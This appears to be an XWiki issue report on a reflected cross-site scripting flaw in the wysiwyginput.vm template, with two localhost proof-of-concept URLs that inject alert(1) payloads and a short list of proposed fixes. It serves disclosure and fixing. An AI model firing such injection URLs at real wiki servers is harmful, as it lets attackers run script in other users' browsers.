Reflected XSS in wysiwyginput.vm

This template needs to return the unescaped user input for WYSIWYG editor needs. Unfortunately it is also accessible for the attacker from anywhere else.

Injection with render=false is trivial via key=bla&source=your_script, render=true needs a bit more work.

Examples:

http://localhost:8080/xwiki/bin/view/Main/?xpage=wysiwyginput&key=bla&html=%3Cimg%20src=%22http://localhost:8080/xwiki/skins/colibri/logo.png%22%20onload=%22alert%281%29;%22%2f%3E&render=true
http://localhost:8080/xwiki/bin/view/Main/?xpage=wysiwyginput&key=bla&source=<script>alert(1)<%2fscript>

Ideas to fix:

• force render=true for source parameter
• use secret token (or similar session id) to distinguish request coming from wysiwyg editor from the rest